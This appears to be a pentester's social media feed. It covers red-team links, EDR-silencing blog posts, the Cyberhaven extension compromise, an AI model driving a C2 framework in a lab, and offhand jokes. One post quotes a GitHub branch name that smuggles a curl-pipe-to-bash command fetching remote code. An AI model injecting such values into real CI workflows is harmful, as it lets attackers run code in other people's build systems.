bruno

SOCKS over SSH over AWS SSM Session Manager

0xbruno.dev/posts/cloud/...

✨ vibe coded malware ✨

Pentester = almost a hacker

YouTube video by Adam Chester Mythic MCP - Claude Sonnet driving Mythic (Apollo)

On PTO and bored, so playing around with MCP by exposing Mythic APIs to Claude and seeing what the result. Attempting to have it emulate threat actors while operating Apollo in a lab... would make a good sparring partner :D www.youtube.com/watch?v=ZooT...

I’m assuming if an Entra ID tenant has Certificate Based Authentication enabled and the CAs trusted, you could pivot from on prem ADCS issues like ESC1 to the cloud ? 🤔

GitHub - alufers/mitmproxy2swagger: Automagically reverse-engineer REST APIs via capturing traffic Automagically reverse-engineer REST APIs via capturing traffic - alufers/mitmproxy2swagger

Wow, how did I not use this yet?! github.com/alufers/mitm...

EDR Silencer and Beyond: Exploring Methods to Block EDR Communication - Part 2 Alternative methods for EDR Silencers for blocking EDR communication to disable defenses.

[NEW BLOG]
EDR Silencer and Beyond: Exploring Methods to Block EDR Communication - Part 2

In collaboration with
@fabian.bader.cloud


academy.bluraven.io/blog/edr-sil...

#redteam

EDR Silencer and Beyond: Exploring Methods to Block EDR Communication - Part 2 Alternative methods for EDR Silencers for blocking EDR communication to disable defenses.

cool seeing people I look up to talk more intelligently about the EDR silencing techniques

I talked about Hosts file and a local bring-your-own HTTP CONNECT “firewall” sinkhole back in November

0xbruno.dev/posts/resear...

academy.bluraven.io/blog/edr-sil...

@cyb3rmonk.bsky.social

Breaking: Cyberhaven Chrome Extension Compromised in Holiday Attack Campaign An attacker successfully phished a Cyberhaven employee, gained access to Chrome Web Store admin credentials, published a malicious version of the extension

An attacker successfully phished a Cyberhaven employee.

They gained access to their Chrome Web Store admin credentials and published a malicious version of the Cyberhaven extension.

Read my full writeup here:

www.vulnu.com/p/breaking-c...

Thanks @jaimeblascob.bsky.social and @johntuckner.me

when you have to push a remediation for a dumb security bug for compliance and devs look at you diff

The struggle is real.

At this pace security appliances getting popped more than other software 😅

Wonder who’s gonna be the Docker and k8s of agentic AI and orchestration. Think infosec will probably pivot to abusing the orchestration flows and architecture of agentic AI. Essentially adding an abstraction layer but we’ll still need knowledge of the underlying systems

YouTube video by Critical Thinking - Bug Bounty Podcast 8 Fav Bugs of 2024, Farewell Joel, Hello Shift - Cursor of Hacking (Ep. 100)

It was talked about here first around the 7:30 mark. So totally not my bug. I reported to MSRC anyways since I couldn’t find anything else on this topic. I’ll blog after they respond.

youtu.be/ANYtLQrT-F0?...

☹️

protonmail is down and their status page doesn’t reflect any errors >:(

status.proton.me

pentesters when they remember they left an unprotected webshell on an engagement months ago

A simple black and white cartoon illustration showing a stylized representation of "ALL MODERN DIGITAL INFRASTRUCTURE" as a tower-like structure made of various rectangular blocks and components. Each component and layer of the structure is labeled with the word "backdoor" multiple times, suggesting widespread security vulnerabilities in digital systems. The illustration uses a minimalist style with basic geometric shapes and text annotations connected by lines pointing to different parts of the structure.

A diagram from Kaspersky showing the Operation Triangulation attack chain with neon green icons and text connected by dotted arrows. The chain begins with an “Attackers iMessage account” and progresses through multiple stages including PDF file, TrueType font exploit, ROP/JOP, NSExpression, bplist, and other technical components. Various CVE numbers are listed, including CVE-2023-41990, CVE-2023-32434, and CVE-2023-38606. The chain culminates in malware deployment through multiple exploitation steps involving Safari, kernel exploits, and validators.

blunt versus beauty

ethernet? you mean the wifi cable

getting to work with people much smarter than you is such an underrated benefit

GitHub - 0xBruno/Get-AzureContainerAppEnvVars: get env vars for azure container apps for easy auditing of sensitive information get env vars for azure container apps for easy auditing of sensitive information - 0xBruno/Get-AzureContainerAppEnvVars

find those sweet creds in azure container app env vars

github.com/0xBruno/Get-...

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

reading Fear and Trembling by Kierkegaard hoping for some deep insights. summary is “just trust me bro” -god

Definitely the internet but seems especially prevalent in infosec. One day natsec expert the next niche geopolitical expert. Meanwhile their org still has admin panels facing the web without mfa 😵‍💫

Was Dostoevsky a time traveler?

truly one of the skeets of all time